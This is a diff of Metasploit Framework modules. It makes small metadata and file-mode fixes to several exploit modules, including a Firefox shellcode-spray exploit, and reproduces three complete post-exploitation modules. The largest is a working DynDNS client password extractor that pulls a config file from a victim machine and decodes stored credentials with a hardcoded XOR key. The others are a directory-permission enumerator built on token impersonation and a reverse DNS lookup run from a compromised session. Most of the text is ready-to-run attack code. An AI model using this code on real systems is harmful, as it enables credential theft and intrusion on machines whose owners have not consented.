diff --git a/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb b/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb index ab03e73290..77f04ecd84 100644 --- a/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb +++ b/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'rsyslog Long Tag Off-By-Two DoS', 'Description' => %q{ - This module triggers an off-by-two stack overflow in the + This module triggers an off-by-two overflow in the rsyslog daemon. This flaw is unlikely to yield code execution but is effective at shutting down a remote log daemon. This bug was introduced in version 4.6.0 and corrected in 4.6.8/5.8.5. diff --git a/modules/exploits/multi/browser/firefox_escape_retval.rb b/modules/exploits/multi/browser/firefox_escape_retval.rb index 6bdd2b02dd..65be6fd486 100644 --- a/modules/exploits/multi/browser/firefox_escape_retval.rb +++ b/modules/exploits/multi/browser/firefox_escape_retval.rb @@ -191,7 +191,10 @@ EOF # Obfuscate it up a bit js = obfuscate_js(js, 'Symbols' => { - 'Variables' => %W{ DataTranslator GenerateHTML escapeData xunescape shellcode oneblock fullblock sprayContainer xi searchArray xc escData xhtml pTags oTags newElement sprayready sprayContainerIndex fill_function } + 'Variables' => %W{ DataTranslator GenerateHTML escapeData xunescape + shellcode oneblock fullblock sprayContainer xi searchArray xc + escData xhtml pTags oTags newElement sprayready sprayContainerIndex + fill_function } }).to_s str1 = Rex::Text.rand_text_alpha(20) diff --git a/modules/exploits/windows/browser/mozilla_nstreerange.rb b/modules/exploits/windows/browser/mozilla_nstreerange.rb index 7646b98c81..7313fb46ee 100644 --- a/modules/exploits/windows/browser/mozilla_nstreerange.rb +++ b/modules/exploits/windows/browser/mozilla_nstreerange.rb @@ -12,7 +12,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - rank = NormalRanking + Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/fileformat/tugzip.rb b/modules/exploits/windows/fileformat/tugzip.rb index 15cbe5db55..330ae86641 100644 --- a/modules/exploits/windows/fileformat/tugzip.rb +++ b/modules/exploits/windows/fileformat/tugzip.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'OSVDB', '49371' ], [ 'CVE', '2008-4779' ], - [ 'BID', '17432' ], + [ 'BID', '31913' ], [ 'URL', 'http://www.exploit-db.com/exploits/12008/' ] ], 'Platform' => [ 'win' ], @@ -67,7 +67,7 @@ class Metasploit3 < Msf::Exploit::Remote } ], ], - 'Disclosure' => 'Oct 28 2008', + 'DisclosureDate' => 'Oct 28 2008', 'DefaultTarget' => 0)) register_options( diff --git a/modules/post/cisco/gather/enum_cisco.rb b/modules/post/cisco/gather/enum_cisco.rb index 7e4985ab0a..b34f312b39 100644 --- a/modules/post/cisco/gather/enum_cisco.rb +++ b/modules/post/cisco/gather/enum_cisco.rb @@ -127,7 +127,7 @@ class Metasploit3 < Msf::Post print_error("Wordlist File #{pass_file} does not exists!") return end - creds = ::File.open(pass_file, "r") + creds = ::File.open(pass_file, "rb") else creds = "Cisco\n" << "cisco\n"<< "sanfran\n" << "SanFran\n" << "password\n" << "Password\n" end diff --git a/modules/post/multi/gather/run_console_rc_file.rb b/modules/post/multi/gather/run_console_rc_file.rb index a626727f8e..12708ec476 100644 --- a/modules/post/multi/gather/run_console_rc_file.rb +++ b/modules/post/multi/gather/run_console_rc_file.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Post if not ::File.exists?(datastore['RESOURCE']) raise "Resource File does not exists!" else - ::File.open(datastore['RESOURCE'], "r").each_line do |cmd| + ::File.open(datastore['RESOURCE'], "rb").each_line do |cmd| next if cmd.strip.length < 1 next if cmd[0,1] == "#" begin diff --git a/modules/post/windows/gather/credentials/dyndns.rb b/modules/post/windows/gather/credentials/dyndns.rb index dfde71cb51..4f7b5688d2 100644 --- a/modules/post/windows/gather/credentials/dyndns.rb +++ b/modules/post/windows/gather/credentials/dyndns.rb @@ -1,190 +1,190 @@ -## -#$Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ -## - -require 'msf/core' - -class Metasploit3 < Msf::Post - - include Msf::Auxiliary::Report - - def initialize(info={}) - super(update_info(info, - 'Name' => 'Windows Gather Dyn-Dns Client Password Extractor', - 'Description' => %q{ - This module extracts the username, password, and hosts for Dyn-Dns version 4.1.8. - This is done by downloading the config.dyndns file from the victim machine, and then - automatically decode the password field. The original copy of the config file is also - saved to disk. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Shubham Dawra ', #SecurityXploded.com - 'sinn3r', #Lots of code rewrite - ], - 'Version' => '$Revision$', - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ] - )) - end - - - # - # Search for the config file. - # Return the config file path, otherwise nil to indicate nothing was found - # - def get_config_file - config_paths = - [ - "C:\\ProgramData\\Dyn\\Updater\\", #Vista - "C:\\Documents and Settings\\All Users\\Application Data\\Dyn\\Updater\\" #XP and else - ] - - # Give me the first match - config_file = nil - config_paths.each do |p| - tmp_path = p + "config.dyndns" - begin - f = session.fs.file.stat(tmp_path) - config_file = tmp_path - break #We've found a valid one, break! - rescue - end - end - - return config_file - end - - - # - # Download the config file, and then load it up in memory. - # Return the content. - # - def load_config_file(config_file) - f = session.fs.file.new(config_file, "rb") - content = '' - until f.eof? - content << f.read - end - p = store_loot("dyndns.raw", "text/plain", session.tunnel_peer, "dyndns_raw_config.dyndns") - vprint_status("Raw config file saved: #{p.to_s}") - return content - end - - - # - # Parse the data - # Return: Hash { :username, :pass, :hosts } - # - def parse_config(content) - # Look at each line for user/pass/host - config_data = {} - user = content.scan(/Username=([\x21-\x7e]+)/)[0][0] - pass = content.scan(/Password=([\x21-\x7e]+)/)[0][0] - host = content.scan(/Host\d=([\x21-\x7e]+)/)[0] - - # Let's decode the pass - pass = decode_password(pass) if not pass.nil? - - # Store data in a hash, save it to the array - # Might contain nil if nothing was regexed - config_data = { - :user => user, - :pass => pass, - :hosts => host - } - - return config_data - end - - - # - # Decode the password - # - def decode_password(pass) - pass = [pass].pack('H*') - s = '' - c = 0 - - pass.each_byte do |a1| - a2 = "t6KzXhCh"[c, 1].unpack('c')[0].to_i - s << (a1 ^ a2).chr - c = ((c+1)%8) - end - - return s - end - - - # - # Print results and storeloot - # - def do_report(data) - tbl = Rex::Ui::Text::Table.new( - 'Header' => 'DynDNS Client Data', - 'Indent' => 1, - 'Columns' => ['Field', 'Value'] - ) - - # Store username/password - tbl << ['Username', data[:user]] - tbl << ['Password', data[:pass]] - - # Store all found hosts - hosts = data[:hosts] - hosts.each do |host| - tbl << ['Host', host] - end - - print_status(tbl.to_s) - - if not tbl.rows.empty? - p = store_loot( - 'dyndns.data', - 'text/plain', - session, - tbl, - 'dyndns_data.txt', - 'DynDNS Client Data' - ) - print_status("Parsed data stored in: #{p.to_s}") - end - end - - - # - # Main function, duh - # - def run - # Find the config file - config_file = get_config_file - if config_file.nil? - print_error("No config file found, will not continue") - return - end - - # Load the config file - print_status("Downloading config.dyndns...") - content = load_config_file(config_file) - - if content.empty? - print_error("Config file seems empty, will not continue") - return - end - - # Get parsed data - config = parse_config(content) - - # Store data - do_report(config) - end - -end +## +#$Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Post + + include Msf::Auxiliary::Report + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Windows Gather Dyn-Dns Client Password Extractor', + 'Description' => %q{ + This module extracts the username, password, and hosts for Dyn-Dns version 4.1.8. + This is done by downloading the config.dyndns file from the victim machine, and then + automatically decode the password field. The original copy of the config file is also + saved to disk. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Shubham Dawra ', #SecurityXploded.com + 'sinn3r', #Lots of code rewrite + ], + 'Version' => '$Revision$', + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + end + + + # + # Search for the config file. + # Return the config file path, otherwise nil to indicate nothing was found + # + def get_config_file + config_paths = + [ + "C:\\ProgramData\\Dyn\\Updater\\", #Vista + "C:\\Documents and Settings\\All Users\\Application Data\\Dyn\\Updater\\" #XP and else + ] + + # Give me the first match + config_file = nil + config_paths.each do |p| + tmp_path = p + "config.dyndns" + begin + f = session.fs.file.stat(tmp_path) + config_file = tmp_path + break #We've found a valid one, break! + rescue + end + end + + return config_file + end + + + # + # Download the config file, and then load it up in memory. + # Return the content. + # + def load_config_file(config_file) + f = session.fs.file.new(config_file, "rb") + content = '' + until f.eof? + content << f.read + end + p = store_loot("dyndns.raw", "text/plain", session.tunnel_peer, "dyndns_raw_config.dyndns") + vprint_status("Raw config file saved: #{p.to_s}") + return content + end + + + # + # Parse the data + # Return: Hash { :username, :pass, :hosts } + # + def parse_config(content) + # Look at each line for user/pass/host + config_data = {} + user = content.scan(/Username=([\x21-\x7e]+)/)[0][0] + pass = content.scan(/Password=([\x21-\x7e]+)/)[0][0] + host = content.scan(/Host\d=([\x21-\x7e]+)/)[0] + + # Let's decode the pass + pass = decode_password(pass) if not pass.nil? + + # Store data in a hash, save it to the array + # Might contain nil if nothing was regexed + config_data = { + :user => user, + :pass => pass, + :hosts => host + } + + return config_data + end + + + # + # Decode the password + # + def decode_password(pass) + pass = [pass].pack('H*') + s = '' + c = 0 + + pass.each_byte do |a1| + a2 = "t6KzXhCh"[c, 1].unpack('c')[0].to_i + s << (a1 ^ a2).chr + c = ((c+1)%8) + end + + return s + end + + + # + # Print results and storeloot + # + def do_report(data) + tbl = Rex::Ui::Text::Table.new( + 'Header' => 'DynDNS Client Data', + 'Indent' => 1, + 'Columns' => ['Field', 'Value'] + ) + + # Store username/password + tbl << ['Username', data[:user]] + tbl << ['Password', data[:pass]] + + # Store all found hosts + hosts = data[:hosts] + hosts.each do |host| + tbl << ['Host', host] + end + + print_status(tbl.to_s) + + if not tbl.rows.empty? + p = store_loot( + 'dyndns.data', + 'text/plain', + session, + tbl, + 'dyndns_data.txt', + 'DynDNS Client Data' + ) + print_status("Parsed data stored in: #{p.to_s}") + end + end + + + # + # Main function, duh + # + def run + # Find the config file + config_file = get_config_file + if config_file.nil? + print_error("No config file found, will not continue") + return + end + + # Load the config file + print_status("Downloading config.dyndns...") + content = load_config_file(config_file) + + if content.empty? + print_error("Config file seems empty, will not continue") + return + end + + # Get parsed data + config = parse_config(content) + + # Store data + do_report(config) + end + +end diff --git a/modules/post/windows/gather/dumplinks.rb b/modules/post/windows/gather/dumplinks.rb index 167438d08d..9900cd26e5 100644 --- a/modules/post/windows/gather/dumplinks.rb +++ b/modules/post/windows/gather/dumplinks.rb @@ -285,7 +285,7 @@ class Metasploit3 < Msf::Post # Function for writing results of other functions to a file def filewrt(file2wrt, data2wrt) - output = ::File.open(file2wrt, "a") + output = ::File.open(file2wrt, "ab") if data2wrt data2wrt.each_line do |d| output.puts(d) diff --git a/modules/post/windows/gather/enum_dirperms.rb b/modules/post/windows/gather/enum_dirperms.rb index 765c486b2b..fa4a212f4e 100644 --- a/modules/post/windows/gather/enum_dirperms.rb +++ b/modules/post/windows/gather/enum_dirperms.rb @@ -1,138 +1,138 @@ -## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ -## - -require 'msf/core' -require 'rex' - -class Metasploit3 < Msf::Post - - def initialize(info={}) - super(update_info(info, - 'Name' => "Windows Gather Directory Permissions Enumeration", - 'Description' => %q{ - This module enumerates directories and lists the permissions set - on found directories. - }, - 'License' => MSF_LICENSE, - 'Version' => '$Revision$', - 'Platform' => ['windows'], - 'SessionTypes' => ['meterpreter'], - 'Author' => ['Kx499'] - )) - - register_options( - [ - OptString.new('PATH', [ true, 'Directory to begin search from' ]), - OptEnum.new('FILTER', [ false, 'Filter to limit results by', 'NA', [ 'NA', 'R', 'W', 'RW' ]]), - OptInt.new('DEPTH', [ true, 'Depth to drill down into subdirs, O = no limit',0]), - ], self.class) - end - - def get_imperstoken - adv = session.railgun.advapi32 - tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | " - tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS" - tok_all << " | TOKEN_ADJUST_DEFAULT" - - #get impersonation token handle it["DuplicateTokenhandle"] carries this value - #p = kern.GetCurrentProcess() #get handle to current process - pid = session.sys.process.open.pid - pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS) - pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token - it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token - if it["return"] #if it fails return 0 for error handling - return it["DuplicateTokenHandle"] - else - return 0 - end - end - - def check_dir(dir, token) - adv = session.railgun.advapi32 - si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION" - result = "" - - #define generic mapping structure - gen_map = [0,0,0,0] - gen_map = gen_map.pack("L") - - #get Security Descriptor for the directory - f = adv.GetFileSecurityA(dir, si, 20, 20, 4) - f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4) - sd = f["pSecurityDescriptor"] - - #check for write access, called once to get buffer size - a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8) - len = a["PrivilegeSetLength"] - - r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8) - if !r["return"] then return "Failed" end - if r["GrantedAccess"] > 0 then result << "R" end - - w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8) - if !w["return"] then return "Failed" end - if w["GrantedAccess"] > 0 then result << "W" end - - return result - end - - def enum_subdirs(dpath, maxdepth, token) - filter = datastore['FILTER'] - filter = nil if datastore['FILTER'] == 'NA' - dirs = session.fs.dir.foreach(dpath) - if maxdepth >= 1 or maxdepth < 0 - dirs.each do|d| - next if d =~ /^(\.|\.\.)$/ - realpath = dpath + '\\' + d - if session.fs.file.stat(realpath).directory? - perm = check_dir(realpath, token) - if !filter or perm.include? filter - print_status(perm + "\t" + realpath) - end - enum_subdirs(realpath, maxdepth - 1,token) - end - end - end - end - - def run - t = 0 #holds impers token - - #check and set vars - if not datastore['PATH'].empty? - path = datastore['PATH'] - end - - depth = -1 - - if datastore['DEPTH'] > 0 - depth = datastore['DEPTH'] - end - - #get impersonation token - print_status("Getting impersonation token...") - t = get_imperstoken() - - #loop through sub dirs if we have an impers token..else error - if t == 0 - print_error("Getting impersonation token failed") - else - print_status("Got token...") - print_status("Checking directory permissions from: " + path) - - #check staring directory - print_status(check_dir(path, t) + "\t" + path) - - #call recursive function to loop through and check all sub directories - enum_subdirs(path, depth, t) - end - end -end +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Post + + def initialize(info={}) + super(update_info(info, + 'Name' => "Windows Gather Directory Permissions Enumeration", + 'Description' => %q{ + This module enumerates directories and lists the permissions set + on found directories. + }, + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'Platform' => ['windows'], + 'SessionTypes' => ['meterpreter'], + 'Author' => ['Kx499'] + )) + + register_options( + [ + OptString.new('PATH', [ true, 'Directory to begin search from' ]), + OptEnum.new('FILTER', [ false, 'Filter to limit results by', 'NA', [ 'NA', 'R', 'W', 'RW' ]]), + OptInt.new('DEPTH', [ true, 'Depth to drill down into subdirs, O = no limit',0]), + ], self.class) + end + + def get_imperstoken + adv = session.railgun.advapi32 + tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | " + tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS" + tok_all << " | TOKEN_ADJUST_DEFAULT" + + #get impersonation token handle it["DuplicateTokenhandle"] carries this value + #p = kern.GetCurrentProcess() #get handle to current process + pid = session.sys.process.open.pid + pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS) + pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token + it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token + if it["return"] #if it fails return 0 for error handling + return it["DuplicateTokenHandle"] + else + return 0 + end + end + + def check_dir(dir, token) + adv = session.railgun.advapi32 + si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION" + result = "" + + #define generic mapping structure + gen_map = [0,0,0,0] + gen_map = gen_map.pack("L") + + #get Security Descriptor for the directory + f = adv.GetFileSecurityA(dir, si, 20, 20, 4) + f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4) + sd = f["pSecurityDescriptor"] + + #check for write access, called once to get buffer size + a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8) + len = a["PrivilegeSetLength"] + + r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8) + if !r["return"] then return "Failed" end + if r["GrantedAccess"] > 0 then result << "R" end + + w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8) + if !w["return"] then return "Failed" end + if w["GrantedAccess"] > 0 then result << "W" end + + return result + end + + def enum_subdirs(dpath, maxdepth, token) + filter = datastore['FILTER'] + filter = nil if datastore['FILTER'] == 'NA' + dirs = session.fs.dir.foreach(dpath) + if maxdepth >= 1 or maxdepth < 0 + dirs.each do|d| + next if d =~ /^(\.|\.\.)$/ + realpath = dpath + '\\' + d + if session.fs.file.stat(realpath).directory? + perm = check_dir(realpath, token) + if !filter or perm.include? filter + print_status(perm + "\t" + realpath) + end + enum_subdirs(realpath, maxdepth - 1,token) + end + end + end + end + + def run + t = 0 #holds impers token + + #check and set vars + if not datastore['PATH'].empty? + path = datastore['PATH'] + end + + depth = -1 + + if datastore['DEPTH'] > 0 + depth = datastore['DEPTH'] + end + + #get impersonation token + print_status("Getting impersonation token...") + t = get_imperstoken() + + #loop through sub dirs if we have an impers token..else error + if t == 0 + print_error("Getting impersonation token failed") + else + print_status("Got token...") + print_status("Checking directory permissions from: " + path) + + #check staring directory + print_status(check_dir(path, t) + "\t" + path) + + #call recursive function to loop through and check all sub directories + enum_subdirs(path, depth, t) + end + end +end diff --git a/modules/post/windows/gather/reverse_lookup.rb b/modules/post/windows/gather/reverse_lookup.rb index 4113f723fc..ce87662f21 100644 --- a/modules/post/windows/gather/reverse_lookup.rb +++ b/modules/post/windows/gather/reverse_lookup.rb @@ -1,80 +1,80 @@ -## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ -## - -require 'msf/core' -require 'rex' - -class Metasploit3 < Msf::Post - - def initialize(info={}) - super( update_info( info, - 'Name' => "Windows Gather IP Range Reverse Lookup", - 'Description' => %q{ - This module uses Railgun, calling the gethostbyaddr function to resolve a hostname - to an IP. - }, - 'License' => MSF_LICENSE, - 'Version' => '$Revision$', - 'Platform' => ['windows'], - 'SessionTypes' => ['meterpreter'], - 'Author' => ['mubix'] - )) - register_options( - [ - OptAddressRange.new('RHOSTS', [true, 'IP Range to perform reverse lookup against.']) - - ], self.class) - end - - - def run - - #Add ws2_32 just in case it isn't there... - session.railgun.ws2_32 - - #Check if gethostbyaddr is available to us - modhandle = session.railgun.kernel32.GetModuleHandleA('ws2_32.dll') - if modhandle['return'] == 0 - print_error("WS2_32 isn't available at this time, exiting") - return - else - procaddr = session.railgun.kernel32.GetProcAddress(modhandle['return'],'gethostbyaddr') - if procaddr['return'] == 0 - print_error("WS2_32 was loaded but does not have the gethostbyaddr function, exiting") - return - end - end - - #Initialize Railgun 'gethostbyaddr' call' - session.railgun.add_function('ws2_32', 'gethostbyaddr', 'DWORD', [ - ['PCHAR', 'addr', 'in'], - ['DWORD','len','in'], - ['DWORD','type','in']]) - - #Generates IP list based on RHOSTS - RangeWalker rocks.... - iplist = Rex::Socket::RangeWalker.new(datastore['RHOSTS']) - - iplist.each do |x| - #Converts an IP in string formate to network byte order format - nbi = Rex::Socket.addr_aton(x) - - #Call gethostbyaddr - result = session.railgun.ws2_32.gethostbyaddr(nbi.to_s,nbi.size,2) - if result['return'] == 0 - vprint_status("#{x} did not resolve") - else - struct = session.railgun.memread(result['return'],100) - hostname = struct.split(nbi)[1].split("\0")[0] - print_good("#{x} resolves to #{hostname}") - end - end - end -end +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Post + + def initialize(info={}) + super( update_info( info, + 'Name' => "Windows Gather IP Range Reverse Lookup", + 'Description' => %q{ + This module uses Railgun, calling the gethostbyaddr function to resolve a hostname + to an IP. + }, + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'Platform' => ['windows'], + 'SessionTypes' => ['meterpreter'], + 'Author' => ['mubix'] + )) + register_options( + [ + OptAddressRange.new('RHOSTS', [true, 'IP Range to perform reverse lookup against.']) + + ], self.class) + end + + + def run + + #Add ws2_32 just in case it isn't there... + session.railgun.ws2_32 + + #Check if gethostbyaddr is available to us + modhandle = session.railgun.kernel32.GetModuleHandleA('ws2_32.dll') + if modhandle['return'] == 0 + print_error("WS2_32 isn't available at this time, exiting") + return + else + procaddr = session.railgun.kernel32.GetProcAddress(modhandle['return'],'gethostbyaddr') + if procaddr['return'] == 0 + print_error("WS2_32 was loaded but does not have the gethostbyaddr function, exiting") + return + end + end + + #Initialize Railgun 'gethostbyaddr' call' + session.railgun.add_function('ws2_32', 'gethostbyaddr', 'DWORD', [ + ['PCHAR', 'addr', 'in'], + ['DWORD','len','in'], + ['DWORD','type','in']]) + + #Generates IP list based on RHOSTS - RangeWalker rocks.... + iplist = Rex::Socket::RangeWalker.new(datastore['RHOSTS']) + + iplist.each do |x| + #Converts an IP in string formate to network byte order format + nbi = Rex::Socket.addr_aton(x) + + #Call gethostbyaddr + result = session.railgun.ws2_32.gethostbyaddr(nbi.to_s,nbi.size,2) + if result['return'] == 0 + vprint_status("#{x} did not resolve") + else + struct = session.railgun.memread(result['return'],100) + hostname = struct.split(nbi)[1].split("\0")[0] + print_good("#{x} resolves to #{hostname}") + end + end + end +end